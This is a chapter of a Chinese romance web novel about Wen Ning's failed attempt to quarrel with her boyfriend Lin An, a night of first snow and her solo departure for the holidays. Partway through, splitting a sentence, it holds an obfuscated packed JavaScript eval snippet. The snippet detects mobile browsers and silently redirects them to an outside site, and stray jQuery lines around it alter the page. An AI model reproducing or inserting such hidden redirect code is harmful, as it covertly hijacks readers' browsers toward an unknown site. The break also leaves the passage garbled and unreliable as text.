元旦过后,就迎来了期末考,温宁并不觉得有什么难得,大学四年的学分早就在江大修完了,唯一需要面对的考试就是俞老师的量子力学。
相对于期末考,温宁更难以面对的是林安最近莫名其妙的生气。
但是又好像不是分手的前兆。
但是每个男人的分手的前兆应该也会不一样吧,林安或许也不像徐逸凡一样,为了分手可以冷暴力半年。
林安的分手是通过吵架?然后再一次大吵之后,哑着声音,然后颓废道,分手吧,我们!
温宁思考了一下,她要不要配合林安一次,大吵一架,然后让林安顺理成章的说出分手?
这一天,开车的人,罕见的变成了林安。
林安开着车,心神都放在前面的路况上,下班高峰期,天又黑的早,他不得不倍加小心的防止。
温宁又看了一眼林安,还在纠结自己是否如何开启一场吵架。
林安终于发现了温宁的动作。
在等红灯的时候,他问温宁怎么了?
车里的温度一直保持在25度恒温上,温宁却突然觉得太热了。
她打开车窗。
“温宁!你是又想生病了是吗?”
林安的声音放大,语气里带着不耐烦。
温宁嗯了一声,想了一下,觉得如果吵架的话应该不能直说一句嗯,又补充道,“你管我!”
只见,本来还一脸严肃的林安突然笑了,“不然呢?当然是我管你了。”
窗外的雨丝渐渐变得有些冰冷,温宁呀了一声,车窗正在缓缓上升。
“你真是感冒刚好,就开始霍霍了。”
温宁看了眼前面,“绿灯了,你快点走吧。”她都能想到,再晚走一秒,后面车的传来连续的喇叭声了。
这一闹,温宁又忘了该怎么吵架了。
回到别墅,温宁看了一眼林安的脸色,好像没什么变化,但是一上楼,林安就立马变了脸色。
“把衣服脱了。”
温宁愣了一下,她怀疑的看了看挂在墙上的表,这还不到七点,这么早?
林安面无表情的上前,从温宁的羽绒服开始脱起,脱了这一层,又开始数下面的衣服。
温宁突然反应过来,林安这是在检查自己到底穿了几层衣服。
她有些紧张的站在那里,等着林安数完上面,又蹲下来从裤脚开始数起。
“你这儿穿的也不多,刚刚好四层。”林安温暖的手,从温宁的脖颈贴进去,试探的摸了摸温宁的后背,不冰,也不热。
“你是想气死我吗?冷自己不知道加衣服吗?”
温宁站在一旁,“秋衣,衬衣,毛衣,羽绒服,该穿的我都穿了,再说,我一点也不冷。”
她突然觉得和林安谈恋爱好累,凭空多了一个人来管自己,就连穿衣服这种小事都要管。
她真的不觉得冷,反而穿了这么多层,她都觉得行动不便,每次进教室或者图书馆,脚心都是汗。
“那你冻感冒的时候怎么不说不冷呢?”林安的语气里还是带着责备。
温宁想,是不是要吵架了?!
“我解释很多次了,这个时节感冒是正常的,我每年都会在这个时候感冒。”
“再说!我感冒也没求着你照顾。”
温宁放出狠话。
“我是你男朋友,你感冒了你告诉我,你还躲着我,你有理了?!”
林安的声音变大,双手叉腰,站在温宁的面前,眼神冷冷的看着温宁。
温宁深吸了一口气,吵起来了,这是吵起来了!她激动的想,自己要该怎么回怼呢?
“你要不要这么八婆,就一次小小的感冒,你到底要说多久?”温宁回忆了一下自己搜到的吵架攻略,一定要无理取闹,一定要转移重点。
她挺起胸膛,底气十足。
“行啊!能耐了,温宁,你胆子大了!”
林安叉着腰,气笑了。
“一次小小的感冒,发烧39度把这脑子烧坏了?”
事实证明,两个吵架的人只要有一个人怂了,就怎么也吵不起来。
晚上,温宁一个人看雪的时候,趴在说桌上,看着日记本,恨恨的写了几句从网上抄下来的吵架经典语录,备注道,希望下一次能吵赢林安!
她顿了顿,在日记本又补充到,‘京市下初雪了,今年的初雪来的好晚,’
写完,她起身跑到床上,一巴掌打到林安的身上。
林安的睡眠质量确实好,翻了个身,继续又睡了。
温宁偷笑了一下,开始在林安身上练了降龙十八掌。
这下,终于把林安叫醒了。
“怎么了?”林安的脑子还留在梦里,眼睛都还没睁开。
“下雪了!”温宁语气激动,“今年的初雪!”
“今年的初雪早在年初就下了,这个时候算什么初雪!”
温宁突然记起来,林安这个年纪还是计算农历。
“不管,反正这是我来京市的第一场雪,好激动。”
第一次,下雪的时候,回身看过来,床上是有个男人的,在这个寒冷的冬夜里,温宁突然觉得重生到现在,也挺好的。
就算以后林安和她分手后,她也会记得这个有人陪着看雪的日子。
林安把身子翻过来,眼睛终于睁开了一条缝,往窗外看去,雪花实在小的都让人不出来在下雪。
“走吧。”林安叹了口气,抱着杯子坐了起来。
温宁愣了一下,去哪儿?虽然她是很激动,但也没有大半夜出门看雪的想法。
林安把被子盖在温宁身上,从床上下来。
虽然屋里开了恒温空调,但是猛地从被窝里出来,还是有些冷得,他穿上旁边的睡衣,还是有点冷,为了速战速决,他一把把温宁打横抱起来。
“把被子给我身上盖点儿。”实在是冷,有点被子盖着还能聊有慰藉。
温宁听话的把头上的被子掀开,盖在林安的肩膀上。
“去哪儿?”
林安不说话,只是一味的抱着温宁往楼下冲。
温宁吓得直笑,她还以为要去车库开车,但是经过玄关的时候,林安也没有穿上外套。
到了地下游戏室的时候,林安猛地把温宁扔到了沙发上。
温宁一下陷入了松软的沙发上,眼前是被笼盖的被子,透露着一股淡淡的檀香味。
她的笑声一直都没有停下来。
沙发在移动,突然温宁的眼前一亮,她看着头顶上的玻璃天窗,点点的白色颗粒从空中飘下来。
林安快速的钻进被窝里,胳膊往温宁那一伸,紧紧的抱着温宁。
温度渐渐上升。
“好看吗?”
温宁老实的摇了摇头。
“那睡吧。”
温宁侧过头,看了眼又进入睡眠的林安,不禁感叹林安的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035545|194626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好睡眠质量。
天上的雪渐渐变大,那狭窄的天窗不一会就被白色覆盖住了。温宁看的眼睛都累了,最终也陷入了睡眠中。
隔天起来的时候,窗外已经变得白茫茫的一片,院子里的桂花树上堆满了雪。
温宁特意去看了眼,树下没有猫咪的脚印,她已经好一段时间没有看到猫咪了。
“看什么呢?”林安从玄关处探过身,看向温宁。
“找咱小区的猫咪的。好久没有看见它了。”
“这么冷的天,肯定都躲起来了,还能像你,冷都不知道穿衣服?”
唉,温宁叹了口长气,林安又在唠叨了。
感觉这个话题过不去了。
“早饭好了,吃完,送你去学校。”
温宁不知道阿姨是什么时候来的,又是什么时候走的,等她被林安准备抱回二楼卧室的时候,阿姨已经离开了。
桌子上是一锅鸡汤,和小笼包。
相对于温宁来到这里的第一天的早餐,着实是清减了不少。
但是,温宁还是比较怀念那时候的早餐,至少没有鸡汤。
餐桌上,林安问起温宁放假的安排。
温宁的勺子一直在碗里不断的搅动。
“放假就回家,没啥安排。”
林安想起温宁刚开学就想家的样子,也没觉得有什么疑问,只是还鼓动着温宁晚几天回去。
温宁没有同意,但是临放假的时候,还是被林安拖着行李箱回到了房山。
等到临到小年的时候,才被林安同意放行回家。
离火车站还有一条街的时候,温宁就从车上下来了,临近过年,大家都想回老家,火车站前前后后三条街都被车挤得满满的,温宁坐在车上,十分钟才走了一米,林安下午还有饭局,约了朋友一起玩,她看了眼手机,实在太慢了,担心林安下午饭局会迟到,想着离火车站不远了,便离火车站还有一条街的时候,要下车。
林安被车堵得已经是无力了,反正也就一条街,也没有多说什么,让温宁走的时候注意往来的车辆。
温宁点头,拖着行李箱站在马路边,一路目送着林安调转车头离开这里。
京市还下着雪,温宁踩在吱嘎吱嘎的雪上,幸亏行李箱不重,到了后面,她干脆都提着行李箱一路往火车站走去。
去火车站的路上,都是车,在火车站大厅里,也挤满了人。
通往东山的火车早就买断票了,不论是前五天的还是后十天的,林安或许没有在春节期间买过火车票,不知道春运的火车票有多难抢,临近小年了,才一脸不愿意的让温宁订票回家过年。
幸好温宁也并不是真的想要回家,并不在乎通知时间的早晚。
进入火车大厅,满满的都是人,她从大厅中间的大屏幕里看了一圈,相邻时间表上南下或者北上的火车票几乎都已经卖光了。
她笑了一下,还以为不挑地方还是能捡个漏的。
幸好,京市周边的城市还有票,温宁随意挑了一个地方,去美团上看了看酒店的价格。
春节期间,又不是旅游城市,酒店房价贵的还不是很离谱。
敲定地方后,温宁就买票,准备检票,然后给林安发了一个关机的信息,这才真正进入了她的假期时间。
很久了,她都没有享受过一个人的时光了。
虽然空气里都是人群攒动的味道,但是温宁还是嗅到了一股自由的味道。